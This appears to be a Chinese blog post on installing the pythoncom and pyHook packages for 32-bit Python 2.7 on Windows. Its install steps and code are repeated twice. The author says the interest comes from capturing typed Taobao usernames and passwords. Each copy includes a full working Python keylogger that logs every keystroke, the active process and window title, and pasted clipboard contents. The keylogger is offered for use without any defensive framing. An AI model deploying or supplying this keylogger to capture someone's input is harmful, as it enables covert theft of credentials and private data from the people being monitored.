Python 安装pythoncom、pyHook
2015-06-11 14:48
609 查看
前提:最近在看关于网络爬虫相关的资料(有新的想法,会撰写爬虫遇到的问题),有看到一篇介绍如何获取键盘输入taobao账号用户名和密码的操作,就使用了pythoncom和pyhook这两个工具。这两个工具很炫,可以记录鼠标键盘的操作,web页面的操作等。
OK,开始安装,首先想到的是用pip安装,linux 安装很简单,这次是在windows下,参照:http://www.tuicool.com/articles/eiM3Er3 既可以安装,如果未安装setuptools,则会弹出一个importError;只需去下载setuptools(https://pypi.python.org/pypi/setuptools/),然后python
setup.py install一下即可了。
这时,pip install pythoncom 失败;因为未找到具体的安装包。
只能通过安装包进行安装了:
pythoncom:http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe/download
pyHook:http://nchc.dl.sourceforge.net/project/pyhook/pyhook/1.5.1/pyHook-1.5.1.win32-py2.7.exe
如果python 版本是3.3、或者64bit的话,会弹出错误:
因为这两个包,是只支持在python2.7.32位安装的,解决版本:删除原有python包,然后下载32位python2.7即可;如果不想卸载(只限2.7 64bit,3,.3必须卸载才能用),则可借鉴下方案(并没有亲自验证):
对于想用python64bit不想更换回32bit的,需要借助一些其他人开发的库,这里收集了很多python官方不支持的扩展包 Unofficial Windows Binaries for Python Extension Packages;
下载numpy-1.8.1-win32-superpack-python2.7.exe 安装即可,对应的SciPy的也是。
只要一直点击下一步就可以安装成功了,测试:
import pythoncom
import pyHook
网上有一个运用这两个包,进行监听键盘输入的,分享出来:
# -*- coding: utf-8 -*-
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
#
def get_current_process():
# 获取最上层的窗口句柄
hwnd = user32.GetForegroundWindow()
# 获取进程ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd,byref(pid))
# 将进程ID存入变量中
process_id = "%d" % pid.value
# 申请内存
executable = create_string_buffer("\x00"*512)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
# 读取窗口标题
windows_title = create_string_buffer("\x00"*512)
length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
# 打印
print
print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
print
# 关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
# 定义击键监听事件函数
def KeyStroke(event):
global current_window
# 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
if event.WindowName != current_window:
current_window = event.WindowName
# 函数调用
get_current_process()
# 检测击键是否常规按键(非组合键等)
if event.Ascii > 32 and event.Ascii <127:
print chr(event.Ascii),
else:
# 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print "[PASTE]-%s" % (pasted_value),
else:
print "[%s]" % event.Key,
# 循环监听下一个击键事件
return True
# 创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
# 注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()
测试效果:
OK,开始安装,首先想到的是用pip安装,linux 安装很简单,这次是在windows下,参照:http://www.tuicool.com/articles/eiM3Er3 既可以安装,如果未安装setuptools,则会弹出一个importError;只需去下载setuptools(https://pypi.python.org/pypi/setuptools/),然后python
setup.py install一下即可了。
这时,pip install pythoncom 失败;因为未找到具体的安装包。
只能通过安装包进行安装了:
pythoncom:http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe/download
pyHook:http://nchc.dl.sourceforge.net/project/pyhook/pyhook/1.5.1/pyHook-1.5.1.win32-py2.7.exe
如果python 版本是3.3、或者64bit的话,会弹出错误:
python version 2.7 required,which was not found in&
因为这两个包,是只支持在python2.7.32位安装的,解决版本:删除原有python包,然后下载32位python2.7即可;如果不想卸载(只限2.7 64bit,3,.3必须卸载才能用),则可借鉴下方案(并没有亲自验证):
对于想用python64bit不想更换回32bit的,需要借助一些其他人开发的库,这里收集了很多python官方不支持的扩展包 Unofficial Windows Binaries for Python Extension Packages;
下载numpy-1.8.1-win32-superpack-python2.7.exe 安装即可,对应的SciPy的也是。
只要一直点击下一步就可以安装成功了,测试:
import pythoncom
import pyHook
网上有一个运用这两个包,进行监听键盘输入的,分享出来:
# -*- coding: utf-8 -*-
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
#
def get_current_process():
# 获取最上层的窗口句柄
hwnd = user32.GetForegroundWindow()
# 获取进程ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd,byref(pid))
# 将进程ID存入变量中
process_id = "%d" % pid.value
# 申请内存
executable = create_string_buffer("\x00"*512)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
# 读取窗口标题
windows_title = create_string_buffer("\x00"*512)
length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
# 打印
print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
# 关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
# 定义击键监听事件函数
def KeyStroke(event):
global current_window
# 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
if event.WindowName != current_window:
current_window = event.WindowName
# 函数调用
get_current_process()
# 检测击键是否常规按键(非组合键等)
if event.Ascii > 32 and event.Ascii <127:
print chr(event.Ascii),
else:
# 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print "[PASTE]-%s" % (pasted_value),
else:
print "[%s]" % event.Key,
# 循环监听下一个击键事件
return True
# 创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
# 注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()
测试效果:
相关文章推荐
- Python动态类型的学习---引用的理解
- Python3写爬虫(四)多线程实现数据爬取
- 垃圾邮件过滤器 python简单实现
- 下载并遍历 names.txt 文件,输出长度最长的回文人名。
- install and upgrade scrapy
- Scrapy的架构介绍
- Centos6 编译安装Python
- 使用Python生成Excel格式的图片
- 让Python文件也可以当bat文件运行
- [Python]推算数独
- Python中zip()函数用法举例
- Python中map()函数浅析
- Python在CAM软件Genesis2000中的应用
- 使用Shiboken为C++和Qt库创建Python绑定
- FREEBASIC 编译可被python调用的dll函数示例
- Python 七步捉虫法
- Python实现的基于ADB的Android远程工具